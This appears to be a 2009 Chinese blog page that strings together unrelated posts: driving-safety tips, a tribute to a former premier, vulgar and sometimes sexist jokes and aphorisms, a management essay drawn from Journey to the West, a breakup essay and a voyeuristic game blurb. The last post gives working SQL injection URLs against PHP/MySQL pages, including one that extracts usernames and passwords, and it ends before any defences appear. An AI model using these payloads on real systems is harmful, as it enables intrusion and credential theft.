      88、胸部挂饰

      女士佩戴胸部挂饰应该谨慎,避免带来的潜在危险。当遇到突发情况急刹车时,人的身体会在惯性作用下猛地往前冲,安全带对人体会产生巨大压力,如果胸口有挂件,便会造成严重伤害。

      89、高跟鞋

      不宜穿高跟鞋、厚底鞋和拖鞋。应穿薄底、柔软的休闲鞋(鞋底不出边)。建议在车上备一双平底鞋。切记换下的鞋不能放在前座下或前座旁,避免滚至脚刹踏板下。

      90、毛绒玩具

      前后风挡玻璃前不宜放背包、手包及其他玩具等物品,平时影响视线,在紧急刹车时这些物品有影响正常操作、伤及人员的可能。

      91、披着一头长发

  •   在举国欢庆祖国六十华诞的日子里,人们洋溢着的是无数欣喜的表情,当尽头下的您映入眼帘时,一恍惚间我突然看见了古道西风瘦马,银丝白发,安静而慈祥,如此短暂的几秒,却让您的光辉再一次温暖了亿万中国人心。一头白发,戴着黑色的墨镜,黑色的西装很是庄重,就在多数领导人不约而同佩戴红色领带的时候,而您却选择了一条黑色领带,略与这喜庆的场合不搭,稍显寂寞的站在天安门城楼的一侧,突然我眼泪落了。您比起昨日寥落了好多,岁月催人老,然人们却可以在岁月深处打捞您的精神。 繁琐的俗世,人总是难以舒展最初的念意。纷扰的世事,迷乱的红尘,人们为俗务烦扰,让心蒙了尘,而您却可以做到一生清廉。您的精神让人敬佩。也许做一个严厉的领导人比做一个和蔼的领导人更难。

      总理您辛苦了!也许献媚的人能决定您的镜头时间,也许官场的政权能决定您仪式的站位,但是在人民心里,您的位置绝不会是一瞬间。对于您做总理的五年,人民心中有数,历史账上有数.97亚洲金融危机,国企事业改革,教育产业化,医疗改革,住房改革,您的政绩响彻中国。您做到了党外无党,帝王思想,党内无派,千奇百怪,您是个传奇。您告退政治生涯后,深居简出,低调异常,不再于公众场合露面。 您离开轰轰烈烈的政治舞台,过去的严厉渐渐淡去,您只是笑称自己是“一介草民”。我还能怎样去形容您呢?入世热血,出世平和吗?

     您的古训铭心:吏不畏吾严,而畏吾廉;民不服吾能,而服吾公。公则明,廉则威。

      您的情深意重;对母校清华一往情深,从不题词的您为母校写下“水木清华,春风化雨;教我育我,终身难忘”。

      您对自己的脾气:评价自己:“看到一些事情没有办好,老百姓对我们有意见,我心里着急啊!我脾气不太好,可能得罪了一些同志,请大家多多包涵。但我只批评人,绝不整人。”

      您就是这样一位性情中人,怒斥豆腐渣工程、为商鞅洒泪、高呼“我爱香港”、长久眷恋母校……动情处,或开怀大笑,或拍案震怒,似这般,谈笑间樯橹灰飞烟灭,您用自己的智慧和机智幽默化解了一个个棘手问题,又用您的非凡气度塑造了一个极富个性色彩的高级领导形象。 

      久别了敬爱的总理,您做事从来都是铁手腕,能力出众,特别是对近代中国的经济建设作出了重大的贡献,在反腐败问题上也表现出了刚正不阿的个人风采,以及在对抗东南亚金融危机表现出的沉着稳重。您的严厉、严格、严肃,都只是表现在工作上,表现在对事业的态度上,表现在对党、对国家、对人民的负责上,您不管如何严厉、严格、严肃,都是为了国家的繁荣、人民的富裕,都是为了广大老百姓,是国人大幸,国家大幸,民族大幸。

      我想对你说一声,祖国人民不会忘记你。
      您让人民感动,也让我成长的记忆永远不会被风化。

      花开两岸,记忆永存。 愿您安享晚年,幸福安康。

  • 我想买个卫生巾 - 笑话

    2009-10-04 | Tag:

    1、小男孩:我想买个卫生巾。
    服务员:是你妈妈叫你来买的吗?
    小男孩:不是。
    服务员:你买卫生巾干什么?
    小男孩:我看电视上说:有了它又能游泳,又能滑冰,还能打网球。
     
    2、父亲发现儿子过早地成熟,便决定对他进行早期性教育。不过,跟孩子谈这种事情总是很难为情的,但出于对孩子的关心,父亲还是鼓起了勇气。
    "儿子,爸爸想跟你聊聊。"
    "什么事儿,爸爸。"
    "也没什么,是关于"性"的问题。"父亲满脸憋得通红,话语有些吞吞吐吐。
    儿子注视着爸爸异样的面孔,关切地问道:"没关系,您想知道哪方面的问题?"

    3、孩子:妈妈!我能不能跟姥姥玩一会儿?
    妈妈:可以,不过你不能再扒姥姥的坟。

    4、问:男性误入女澡堂,慌张女性会先护哪个部位?
    答:这还用问,肯定是护纹身了。不信你问张柏芝~~

    5、爸爸把儿子哄上床后,回到自己的卧室准备睡觉。
    "爸爸!"儿子叫道。
    "什么事儿?"
    "我口渴,给我拿杯水好吗?"
    "你刚才不是喝过了嘛!快睡觉,我已经关灯啦!"
    5分钟后……
    "爸爸!我口渴,你就不能给我拿杯水吗?"
    "我刚才不是说过了嘛!你再叫我揍你!"
    又过了五分钟……
    "爸爸!"
    "又怎么啦?"
    "你过来揍我的时候一定要带杯水!"

    6、问:开玩笑时,女友有时问我“我和你很熟吗?”,大家有没有有创意的回答啊?我们就是象十二小时的猪头炖排骨你说熟不熟。
    答:那我们把生米煮熟吧。不熟,那把我那N亿孩子还我~对你就象煎鸡蛋,两面都煎(奸)了,你说熟不熟?

  • 我的鼻涕青翠欲滴

    2009-10-04 | Tag:

    1、老师说一个同学成语“青翠欲滴”用得好。下一次交上来的作文,几乎每个人都用了“青翠欲滴”:“教室的一角里,有盆青翠欲滴的花”,“爸爸拿起青翠欲滴的玉酒杯”,“她穿上一件绿色的裙子,真是青翠欲滴”……有一个男生居然还写:“我的鼻涕青翠欲滴……”

    2、哥抽得不是寂寞,是风!

    3、有个看来十分文静的女孩子在《最难忘的一件事》中写道:“我的记忆是一只美丽的木匣,打开它,里面放着许多珍珠。每一颗珍珠就是我的一件童年往事。”然后她写了小时侯在乡下姥姥家时如何用尽酷刑将两只鸡折磨致死的故事。

    4、哥炒的不是股票,是寂寞;挣的不是钱,是脆弱。

    5、我们家周围有好多人养狗,没有一点公德心。今天早晨我刚从家出来,就看见门口有一泡不知哪条野狗拉的屎,大吃了一斤(惊)。

    6、有个男孩在作文中写了他养的一只狗,狗后来吃了耗子药,将死去。当他赶到时,“只见小狗瘫在地上抽搐着,用无神的眼睛望着我,好象在说:‘小主人,我就要走了,你就是为了我,也要好好学习呀!我的在天之灵也会保佑你每次都考一百分的!”

  • 优秀的唐僧团队

    2009-10-04 | Tag:

    德者居上——对于大企业的领导人来说,要有意识地淡化自已的专业才能,用人为能,攻心为上。锐圆曾言道,大老板只要求有两项本事:一是胸怀;二是眼光。有 胸怀就能容人,刘备胸襟小点,眼里就只有自已那两个把兄弟,后来才有“蜀中无大将,廖化为先锋”之说;曹操雅量大点,地盘实力也就大点,到他儿子就有改组 汉朝“董事会”的能力。目光如炬,明察秋毫,洞若观火,高瞻远瞩,有眼光就不会犯方向性的错误。

    你牛河炒得棒,最多开大个排档,能做满汉全席?官至厨师长到头了。技术型人才做不大,事务型人才做不好,而唐僧既非捉妖高手,又不会料理行程上的事务,只要坚持取经不动摇,嘴里念紧箍咒,便一切OK。他是许多董事长、总经理学习的光辉榜样。
    智 者在侧——《封神演义》里有姜子牙、《三国演义》里有诸葛亮、《水浒》里有吴用…有如此深厚的历史积淀,如果说中国企业的领导不知道军师的重要性,那真是 冤枉他们了。这年头,点子大师、策划大师、咨询专家多如过江之鲫。企业内部卖弄小聪明、上书献策的也不少,这此人的点子管不管用,只有天知道。但可以指出 一点,从利益关系看,他们都是顺杆爬的,为一已之利投领导所好势在难免。中国企业里缺少猪八戒这样的新型智者-----好吃懒做的人爱动脑子。说猪八戒是 智者,还不仅因此,关键是以下两条理由:一、猪八戒之所以需要“八戒”,因为他从不掩饰自已的个人要求和欲望,对自已的权益十分重视,是一个自由主义的特 立独行的猪。他不会头脑发热,不会被“普渡众生”这样鲜明的公共理想所煽动,他认为成佛远不如做高老庄的女婿潇洒,他的理念立场基于个体生命真实感觉,没 有专心取悦于唐僧的动机;二、他从不忽视自已言论自由的权利,取经路上议论风生,而且多是反对意见----这是关键的关键。

    能者居前—— 孙悟空是受控的能量。孙悟空是优秀的职业经理人,他的才能吴承恩先生已作完整的表述。需要关注的是他和唐僧(总经理)以及观音(执行董事,资方代表)的信 用关系。首先孙悟空不是一条狗,也不是一般的人才,而是一个“人物”,“人物”“和人才、人力不一样,在团队里而是不可替代的。孙悟空是避害(压在五行山 下的日子不好过),而不是趋利(最后捞个“斗战胜佛”,远不如”“齐天大圣”过瘾),这使他多少有了独立人格。有独立人格的人有意愿和能力尊重约定,观音 与孙悟空谈判的结果是以解放换责任,这个约定,才是孙悟空真正的“紧箍咒”,签订了合约就认真去做,百折不挠。所以,唐僧在领导孙悟空时,紧箍咒作为最后 手段,虽然也用过,但孙悟空从来没有因为要放弃自已保卫唐僧的责任而被实施紧箍咒。唐僧也不因为有了紧箍咒,事事处处表现自已的控制欲。

    劳 者居其下——沙僧包括白龙马是接近领导的工作人员。做大老板,手下神仙、老虎、狗,样样都有,“神仙”提供智力服务,“老虎”提供工作业绩,“狗”提供所 谓“犬马之劳”。沙僧和白龙马的“犬马之劳”非常出色,如果说神仙猪八戒和老虎孙悟空还有缺陷的话,狗沙僧完全可以打100分,狗大多爱在领导身边闲碎 语,最难做到的就是闭嘴不叫,沙僧同志做到了。

    观音为唐僧配备的人才少而精,并建立了有效的制约机制。唐僧直接管理孙悟空,但只能在孙悟 空突破底线时才动用紧箍咒,平时则让其充分发挥能动作用;孙悟空对猪八戒在具体工作上有管理权力,但他也限制不了猪八戒的言论自由,他自已的行为反而受到 猪八戒的舆论监督;猪八戒虽然有“散伙回家”的思想,但有孙悟空的金箍棒,思想不能转化为行动;沙和尚作为“办公室主任”,管理行李和白龙马,对一线事务 从不插嘴。许多企业和团队之所以失败,往往坏在沙僧这类角色上,他们不具备军师的素质,也不了解擒妖一线的实际情况,只是凭借“心腹”的身份胡言乱语,此 风一开,大小事情一定搞砸。

    如何打造优秀的唐僧团队

    《西游记》中的唐僧团队,虽然是虚拟的,但是师徒历经百险求取真经的 故事,不仅家喻户晓,而且是中国文化的集中代表。这个团队最大的好处就是互补性,领导有权威、有目标,但能力差点;员工有能力,但是自我约束力差,目标不 够明确,有时还会开小差。但是总的来看,这个团队是个非常成功的团队,虽然历经九九八十一磨难,但最后修成了正果。

    阿里巴巴的总裁马云,就非常欣赏唐僧团队,认为一个理想的团队就应该有这四种角色。一个坚强的团队,基本上要有四种人:德者、能者、智者、劳者。德者领导团队,能者攻克难关,智者出谋划策,劳者执行有力。

    德者居上。唐僧是一个目标坚定、品德高尚的人,他受唐王之命,去西天求取真经,以普渡众生,广播善缘。

    要说降妖伏魔的本领,他连最差的白龙马都赶不上,但为什么他能够担任西天取经如此大任的团队领导?关键在于唐僧有三大领导素质:

    首先,目标明确、善定愿景。

    作 为一个团队领导,能够为团队设定前进目标,描绘未来美好生活是必要素质。领导如果不会制定目标,肯定是个糟糕的领导。唐僧从一开始,就为这个团队设定了西 天取经的目标,而且历经磨难,从不动摇。一个企业,也应选择这样的人做领导,团队的领导本身就是企业文化的传承者和传播者,只有他自己坚定不移地信奉公司 的文化,以身作则,才能更好地实现团队的目标。

    其次,手握紧箍,以权制人。

    如果唐僧没有紧箍咒,估计早被孙悟空一棒打 死,或者使唤不动他。这也是一个领导的必备技能,一定要树立自己的权威,没有权威,也就无法成为领导。但是唐僧从来不滥用自己的权力,只有在大是大非的时 候,才动用自己的惩罚权,这对企业领导也是有借鉴意义的,组织赋予的惩罚权千万不要滥用,奖励胜于惩罚,这是领导艺术的基本原理。

    第三,以情感人,以德化人。

    最 初的时候,孙悟空并不尊重唐僧,老觉得这个师傅肉眼凡胎、不识好歹,但是在历经艰险后,唐僧的执着、善良和对自己的关心也感化了孙悟空,让他死心塌地保护 唐僧。作为一个团队领导,情感管理也是非常重要的,尤其在中国文化的大背景下。中国人往往是做生意先交朋友,先认可人,再认可事,对事情的判断主观性比较 大。所以在塑造团队精神的时候,领导一定要学会进行情感投资,要多与下属交流、沟通,关心团队成员的衣食住行,塑造一种家庭的氛围。

    总的 来说,作为企业领导,要用人为能,攻心为上。目光如炬,明察秋毫,洞若观火,高瞻远瞩,有眼光就不会犯方向性的错误。能者居前。孙悟空可称得上是老板最喜 欢的职业经理人,之所以说老板最喜欢,不是因为孙悟空没缺点,很优秀,而是因为他能力很强,但有缺点。这才是老板最应该用的人才,为什么?假设一个人能力 很强,人缘很好,理想又很远大,这样的人往往不甘人下,或者直逼领导位子,或者很容易另起炉灶。

    孙悟空有个性、有想法、执行力很强,也很敬业、重感情,懂得知恩图报,是个非常优秀的人才。

    但 这样的人才如何才能留住他,如何提升他的忠诚度,这要靠领导艺术,靠企业的文化。在《西游记》中,孙悟空被唐僧赶走过两次,第一次是刚刚认识不久,孙悟空 打死了几个强盗,遭到唐僧斥责,结果孙悟空一生气,自己走了,但后来在东海龙王那里,看了一幅画,说的是张良三次为黄石老人桥下拾鞋,谦恭有礼,后被黄石 老人授于天书,成就了张良传世伟业的故事,老龙王说:“你若不保唐僧,不尽勤劳,不受教诲,到底是个妖仙,休想得成正果”,孙悟空一盘算,觉得有道理,自 己被唐僧搭救,而且还可以变妖为仙,自己怎么能这么轻率地就走了呢?所以后来他又回到了唐僧身边。第二次被赶走是三打白骨精后,唐僧决意不能留他,悟空无 奈,只好离去,但“止不住腮边泪坠,停云住步,良久方去”,但已经心系唐僧,一听说师傅有难,马上不记前嫌,重新回到团队中去,还要在东海里沐浴一下,生 怕师傅嫌他。

    唐僧用什么方法让孙悟空这么死心塌地?

    首先得有规矩,得有紧箍咒。规矩是权威,唐僧如果没有了权威,估计孙悟空早不把他放到眼里了。同样的,企业的制度也要有权威,制度的执行一定要严格,不管刚开始推行的时候有多少阻力,但只要坚决执行下去,逐渐就会形成一种氛围与文化,让大家自觉地去遵守。

    但制度的力量是有限的,制度只能让员工不犯错,但要让员工有凝聚力,与企业同心同德,还要靠情感,唐僧就是靠他的情感管理,用他的执着和人品感化了孙悟空。

    没有修成正果的目标和愿景,孙悟空也许中途就回去了;没有师徒的情分,估计孙悟空也不会这么卖命;当然,如果没有偶尔的紧箍咒,也许悟空早酿成大错。

    但 孙悟空这样的员工只能是一个好员工,不能成为一个好领导,什么意思呢?孙悟空最大的乐趣是降妖伏魔,常说“抓几个妖怪玩玩”,这是一种工作狂的表现,他不 近女色、不恋钱财、不惧劳苦,在降妖伏魔中找到了无限的乐趣。但是他天性顽皮、直言不讳,经常把玉皇大帝、各大神仙都不放到眼里,注定他无法成为一个卓越 的领导。

    但作为一个团队的成员,有了唐僧,就不需要孙悟空有领导能力,否则唐僧的地位肯定要受到动摇。这也就是为什么团队成员的选择要非常慎重,要能够优势互补、能力互补、个性互补。

    孙悟空的另外一个缺点就是爱卖弄,有了业绩也就在别人面前显示显示,而且得理不让人,这显然也影响了他继续发展的可能。作为一个领导,一定要非常清楚下属的优缺点,量才而用,人尽其才。

    智者在侧。猪八戒是个什么样的员工?

    从 好的方面看,他虽然总是开小差,吃的多、做的少,时时不忘香食,但是在大是大非上,立场还是比较坚定,从不与妖精退让妥协,打起妖怪来也不心慈手软;生活 上能够随遇而安,工资待遇要求少,有的吃就行,甭管什么东西,而且容易满足,最后被佛祖封了个净坛使者,是个受用贡品的闲职,但他非常高兴,说“还是佛祖 向着我”。更为重要的是,他成为西天枯燥旅途的开心果,孙悟空不开心了,就拿他耍耍,有些脏累差的活,都交给他,他虽有怨言,但也能完成。如果没有猪八 戒,这个旅途还真无聊。另外,猪八戒的另外一个优点就是对唐僧非常的尊敬,孙悟空有不对的地方,他都直言不讳,从某种程度上也增加了唐僧作为领导的协调和 管理作用。

    从不好的方面看,他经常搬弄是非,背后打小报告。另外,在忠诚度方面也差,尤其是刚加入取经团队的时候,动不动就要散伙走人,回高老庄娶媳妇,一点佛心都没有,而且影响了团队的团结和睦。

    之所以说猪八戒是个智者,完全是站在当今社会的角度。现代社会,员工的压力都很大,如何做一个快乐的人,就要用到猪八戒的人生哲学了。当然,八戒的人生哲学,只是我们在遇到挫折失败时候的一种自我解脱,不能成为自己的主流价值观。

    首先,不要过于强求。

    佛 曰:人有七苦:生、老、病、死、怨憎、别离、求不得。每一种苦都让我们伤心欲碎,但我们能否就此一蹶不振呢?当然不能,这就要学习猪八戒的处世哲学了。八 戒由仙贬妖,而且还成了猪妖,可谓人生不顺,但他过得很快乐。经理人有时在职位、薪酬等个人发展上不得志,是难免的,要学会解脱,不要过于强求,这是人生 一大智慧。

    其次,不要过于压抑。

    经理人压力大,上有领导,下有员工,外有工作,内有家庭。工作、生活,有的还要边读书, 供房、买车,中国人的压力本来就比较大,所以要学会自己找乐。八戒压抑不压抑?不但没了老婆,自从跟了师傅,就没吃饱过。但八戒很厉害,人家见人参果就 吃,见就泡,见妖怪就打,见地方就睡,这叫活得洒脱。不要过于压抑,是人生的一大智慧。

    有人做过统计,现代女性最想找的老公是猪八戒型的,道理很简单,唐僧太古板,没情调,悟空太机灵,没安全感,只有八戒又幽默,又有情调,还比较实际,是个理想的老公。

    劳者居其下

    如果唐僧这个团队只有他和悟空、八戒三个人,那还是有问题,唐僧只知发号施令,无法推行;悟空只知降妖伏魔、不做小事;八戒只知打打下手、粗心大意;那担子谁挑、马谁喂、后勤谁管?可见一个团队,各种人才都要有。

    沙和尚是个很好的管家,任劳任怨,心细如丝。他经常站在悟空的一面说服唐僧,但当悟空有了不敬的言语,他又马上跳出来斥责悟空,护卫师傅,可谓是忠心耿耿,企业对于这样的人,一定要给予恰当的位置,如行政、人事、质量管理、客户服务等方面。

    沙 和尚忠心耿耿,他是唐僧最信任的人,是老板的心腹,但属于那种有忠诚度但能力欠缺的人才,老板喜欢用,但如果重用、大用,就会出问题。许多企业和团队之所 以失败,往往坏在沙僧这类角色上,因为是老板的心腹,他们就会得到相当高的权力、地位,但由于能力有限,又无法担当重任,所以往往会造成企业的重大战略决 策失误。

    总的来说,唐僧团队之所以能取得如此辉煌的成就,关键在于这个团队的成员能够优势互补、目标统一,每个人都能发挥自己的效用,所以形成了一个越来越坚强的团队。

  • 自己总结的道理与座右铭

    2009-10-04 | Tag:


    1、诚信是最重要的;
    2、晚上去吃饭,师傅炒了一盒饭。回到家一看,量好少。于是,以后或许我不再去那家吃饭,朋友问到我,我也会说,那家怎么地怎么的。损失是可想而知的。由此我想到一句话,一定要尽量避免出错。有时候,一个很小的错误,足以失去很多很多。
    3、 做事,尽力而为还不够,必须全力以赴。一只小兔子,正在被一个打猎的人追。这时,一个子弹射中兔子的腿。兔子拼命跑。终于跑到了安全地带。回到家,另一个 只兔子问道:”你是怎么跑掉的呢?“兔子答道:”打猎的人可以不太用力,因为他有许多选择,但我必须全力以赴,如果不这样,我就得死去。“
    4、任何困难都会有解决的办法的。
    5、在其位,尽力谋其政;在所在的职位中,一定要尽力做好本职工作。并努力为该份工作着想,有什么想法,就得说出来。有什么建议,就得说出来。否则,等于零。
    6、沉默是金,但过于沉默等于一无是处。
    7、关于功与过:
    在当今社会,宁可不犯十功,也不要犯一错。立一功,人们有可能很快将它忘记;但是,一旦你犯一错,人们会记你一辈子。在官场尤为重要。
    8、.:一定要充许自己犯错误:大可不必太在意优缺点::有错就改,改了再犯。犯了再改。再犯。。。::::::::::
    9、走牛B的路,让傻B说去吧。

  • 花花绿绿的中秋

    2009-10-04 | Tag:

    好多年过去了,那个中秋令我记忆犹新,她不仅是花花绿绿的,是几个游子在北方相思的中秋,用心情涂抹的中秋。

    那一年,四个来自南方和西北的同学聚在北国的海滨浴场,他们是来自陕西的杜军、甘肃的胡业发、福建丁海旺和来自浙江温州的我。那年,我们四人在营口经济开发区海滨浴场过个一个花花绿绿的中秋。

    秋天北方的海滨浴场很靡丽,海并不遥远,海风挂在我们的耳边,海滨浴场已没有了夏天热闹的景 象,只有海风在敲打着阳光和海浪,轮船在孤独的海浪里匆匆奔走。我们这几个游子准备在海滨浴场中国军事博物馆过一个中秋。在海滨浴场的楼上,我们摆好了桌 子,买来了水果等吃的东西,热情的我的同乡送来了一个很大的蛋糕,花花绿绿的蛋糕惹人喜爱。不知道那时的月亮是什么时候升起来,但我知道那时的月亮最圆, 最高兴,大海也为我们舞蹈,海风在唱起美丽动听的音乐,这是我人生中最高兴的一个中秋节。

    在热闹的中秋节的晚上,我们吃着精美的食品,相互祝愿中秋快乐,西北才子杜军和胡业发都吟诗 一首,来自福建的丁海旺也不示弱,不仅亲自做精美的晚餐,还当场做了一首诗歌,供我们品偿。在尽兴中我们喝起北方的红高粱酒,在五十多度的酒精作用下,我 们有些飘飘然了,曾有过的忧伤和无奈一扫而光,今晚我们在激扬文字,今晚我们就是快乐的人儿。不知那个“缺德”的同学,开始打蛋糕战,把花花绿绿的蛋糕奶 油,往我脸上摸过来,措手不及的我变成了一个小丑,我也不示弱,把他们也摸得花花绿绿,当晚,我们都成了小丑,在长大中秋的快乐。

    当晚,我想起在故乡的中秋,我小时侯的中秋,当故乡稻谷飘香,枫叶红于二月花的时候,中秋来 了,在我们的等待与喜悦中来了。中秋在家乡也是一个很重要隆重的节日,母亲都要精心准备一番,杀鸡或杀鸭,用板栗炖鸡鸭。吃完了中秋团圆饭后,母亲也分给 我们兄弟姐妹一些花生和瓜子,最高兴的是我们每一个人分到一个中秋月饼,虽然那时的月饼并不象如今的月饼精彩,有什么蛋黄、水果什锦等馅,是硬硬的芝麻 饼,我们舍不得吃掉。当月亮挂上树枝,那手中捂出温度的月饼还舍不得吃掉,用小嘴舔一下,享受中秋的快乐。不知不觉我们抱着月饼进入梦想,母亲把我们抱到 床上,第二天醒来,那圆圆的月饼还在床头,真正十五的月亮十六圆,在甜蜜着我的童年。

    如今,每一个中秋都会如期而来,但再也没有那个在外地花花绿绿中秋和儿时的中秋精彩了,而中 秋那是那个中秋,只是中秋中人和心态不同了,前段时间与这几个同学通了电话,他们还为生计而劳碌奔波,说起那次中秋,大家都开心一笑,我们相约什么时候一 起再过一个花花绿绿的中秋,回到大海边,回到年轻,激扬文字,涂抹花花绿绿的中秋,让时间停留在这一刻。

  • 1.现在女人真伟大。不知不觉肚子大、有了孩子没有爸!
    2.小时候我们把玩具当朋友、长大了朋友拿我们当玩具。
    3.你不能让所有的人满意,因为不一定所有的都是人。
    4.人生就象卫生纸、没事尽量少扯、!
    5.有老公怎么的? 有守门员球还进呢!
    6.谁是谁老公? 都他妈临时工!
    7.如果你看到面前的阴影,别怕,那是因为你的背后有阳光!
    8.踏遍青楼人未老,请用汇仁肾宝
    9.最穷无非讨饭、不死终会出头
    10.时间是最好的老师,但遗憾的是——最后他把所有的学生都弄死了
    11.别总拿你那老百姓的身份给我讲述那黑社会的故事 !
    你再牛逼百度咋搜索不到你呢?
    你再有劲你能憋住尿吗?

    12.在任何状况下,不能玩弄别人,玩人必被人玩。
    你再有心眼,也不是最厉害的那个。

    13.世界上最动听的话不是我爱你,而是你的肿瘤是良性的!
    14.唾沫是用来数钞票的,而不是用来讲道理的
    15.不该看的不看,不该说的不说,不该听的不听,不该想的不想, 请专心致志的打你的酱油
    16.男人的谎言可以欺骗女人一夜 女人的谎言可以欺骗男人一生
    17.如果可能的话,更强一些,宁可强的让人羡慕,也不能弱得让人可怜!
    18.世界上唯一不用努力就能得到的只有年龄!
    19.不要吹牛逼、请把牛逼还给牛、因为牛也需要性生活!
    20.大起大悲看清自己、 大起大落看清朋友。
    21.我们只有一个地球,所以大家要爱护地球;
    地球上只有一个我,所以大家也要爱护我!
    22.有钱不一定有道、敢摸不一定敢草。
    23.开心了就笑,不开心了就过会儿再笑
    24.名花虽有主、我来松松土。 名花有主,锄头无情...
    25.向新朋友介绍女友时,请搂着她的腰,而不是站在一旁用手指点
    26.走的最快的是最美的风景 伤的最深的是最真的感情
    27.人生最大的悲哀,并不是在于你得不到或者失去的,而是你根本不知道你自己要的是什么!
    28.长大后之所以这么努力、只是因为小时候吹过的牛逼!
    29. 所谓成功的女人就是白天特NB,晚上B特N
    30.假如有个人愿在自己身边,就算没有任何语言只是在身边,我也觉得是一种幸福,即使失去了一切,只要停下脚步看一下四周,一定会有某个人在你看得见的地方。请别伤心、不要绝望,无论如何也请别忘记,自己决不是孤单一人的.
    31.在你头上拉屎的未必是敌人 把你从屎堆拉出来的未必是朋友
    32.我不能做到我所希望的一切,但是我应该做好我可以做到的一切.
    33.有 尿 当 尿 直 须 尿.莫 等 无 尿 空 抖 鸟
    34.无论什么时候打电话,摘起话筒的时候请微笑,因为对方能感觉到.
    35.上帝给了我们七情六欲,我们却把它们变成了色情和暴力
    36.拥有一颗知足的心,知足者常乐。若想得到快乐,就别让自己过得无精打采,想要获得快乐,不是增加财富,而是降低欲望。
    37.找一个你爱聊的人结婚 , 因为当年龄大了以后,你会发觉喜欢聊天是一个人最大的优点。
    38.只要锄头舞的好,哪有墙角挖不倒。
    39.至今为止,地球仍在我的脚下.
    40.心若没有栖息的地方,到哪里都是在流浪!
    41.不要相信接吻时从不闭眼的伴侣。
    42.最好的关系存在于对别人的爱胜于对别人的索求之上。
    43.没能耐的看人装逼,有能耐的跟人装逼
    44.虽然我不在江湖,但是江湖有我的传说
    45.人不可以把钱带进坟墓。 但钱可以把人带进坟墓。
    46.废话是人际关系的第一句
    47.看透别说透、继续做朋友。
    48.吸引住男人的办法就是让他一直得不到;吸引女人的办法正好相反,就是让她一直满足。
    49.男人,上半身是修养,下半身是本质;女人,上半身是诱饵,下半身是陷阱。
    50.在街上看美女,目光高一点就是欣赏,目光低一点就是流氓。
    51.女孩买很多很多漂亮衣服穿,就是为了吸引男孩的目光,但男孩想看的,却是不穿衣服的女孩。
    52.男人都喜欢江山,是因为他们觉得只有整个江山才能让他们的女人心动
    53.小人物的时间是最不值钱的 他可以和一个菜贩为了两毛钱而斤斤计较
    54.当我们把情感更多的 放在 友情 爱情上 可往往最后 能让你感动的 只有亲情
    55.所谓忠诚、只是因为背叛的筹码不够!
    56.你叫我滚,我滚了,你叫我回来,对不起滚远了。
    57. 想知道一个人的内心缺少什么,不看别的,就看他炫耀什么。想知道一个人自卑什么,不看别的,就看他掩饰什么

  • 女孩子最后的防线

    2009-10-04 | Tag:

    标签: 女孩  情感  尊严 

       

        朋友打电话说和BF break up了,我说:“那好我就大方这么一次,不心疼我电话费,给你半小时哭吧,我听着呢。”她说:“然后呢?”我说:“然后我们去睡觉呀”。她说我太毒辣了, 太没同情心了,她说自己思绪混乱,不知所措,知道自己脾气不好,知道自己有很多缺点,但是她愿意改正。

       

       我说借一句话送给你:“当一个男人不再爱他的女人,她哭闹是错,静默是错,呼吸是错,活着是错,死了还是错。”此时唯一不会错就是:永远有多远就自觉地滚多远。

     

      爱你的时候,爱你所有的缺点,你的傻气叫天真,你 的幼稚叫可爱,你的蛮不讲理叫顽皮,你的无理取闹叫依赖。不爱的时候,平日里可爱漂亮的脸此时不如一头面目可憎的怪兽,你的关心让他厌倦,你的甜言蜜语让 他作呕,就连你扫视他的眼光也会干扰到他正常生活的磁场。你要是潇洒一点,挥一挥衣袖道一声:“一路顺风”,兴许对你还葆有如陌路一般的敬重和关怀,你要 是死皮赖脸、哀求挽留,那就让他恶心作呕,觉得你简直是一块狗皮膏药,恶心又难缠,恨不得时间退回到原点,洗净刷干那些和你有任何联系的蜘蛛丝,更别说马 蹄迹。

     

         
         对方提出分手的时候,我们流着泪问:“
    我做错了甚麽?你告诉我,我会改的”。扇自己一耳光吧,你错的就是说出了这句话,还一副无辜、茫然不知所错的样子,后知后觉的傻子。

         
         其实根本不认为自己做错,只是,为了要对方留下,只好卑微地认错,希望得到一点同情。『生命本不需要怜惜,尤其是他人的可怜,顾影自怜你也悄悄的躲着去做,否则那只会成为他人茶余饭后的笑谈。』


         我不知道自己有什么做错,如果你觉得我是错的,那我便是错的,只求你给我一个机会,让我能够做对。
         过去或今天,你说过这样的一句,但是这一句话,让你复活了吗?
         当你舍弃尊严的时候,通常也是得不到回报的。当你问:『我做错了什么?』的时候,已经是到了绝境。


         你这一句话,不过是光荣地为对方送行。
         他挥一挥衣袖,伤感地说:『你没有做错什么,是我的错,你是无私的的,我是自私的。』


         “我是自私的,你是无私的?”那么好吧,让他给你颁一面锦旗,让你铭记此刻自招的羞辱。在人生某个时刻里,没错却肯承认自己错了,是多么的骄傲?

     

         你的确没有做错什么。我不爱你,是我的错,与你何干?
         假如你偏偏要说自己做错,那麽,你唯一的过错,便是没有首先不爱我。

     

         有一种东西,叫做尊严,一旦放下了就再也找不回来,那种卑微到尘埃里的爱,即便很多年以后开出了花,绚烂得诡异妖娆,那又怎样?于他,年少轻狂,已是过往云烟,一笑置之。徒留下卑微的你独自欣赏,顾影自怜。

     

         我爱你,可以什么都不要,可以失去一切,如果说自尊也要失去的话,那我宁愿失去你。不愿意失去你,最后我落得什么也没有。

      

        最后的防线。

  • 作者确实高明,为了满足男子的色心,创造了一款传神佳作,爷们们赶紧练练本事吧



    当美女没有注意你时点击鼠标左键偷看,如果被发现美女就会K你,每头看一次右下的进度条会涨一格,直到满才能过关。操作指南:鼠标操作,点击START开始。

  • 标签: PHP  MYSQL 
    做网站安全十分重要,最近总结了以下SQL注入最常见的例子和相关的防范措施,在此与大家共享,希望对大家有所帮助。 另外作为程序员应该牢记的一句话:一切用户输入的都是不安全的。

    实例

    以下是我在服务器测试并成功注入的例子,大家看一下注入实例中的所有参数,有经验的程序员一看便知,如果不太明白可以自己实践一下,或者看一下注入原理(Php+Mysql注入专题教学),有任何疑问请联系kaiyuanba@163.com讨论

    1、通过select
        1)/pub/show.php?tpl_id=187&id=61/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
        2)/pub/show.php?tpl_id=187&id=61/**/and/**/1=2/**/union/**/select/** /user(),database(),version(),1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16;
        3)/showUser.php?uid=-1%20union%20select%20concat(username,password),1,2,3%20from test_talbewhere uid=1;
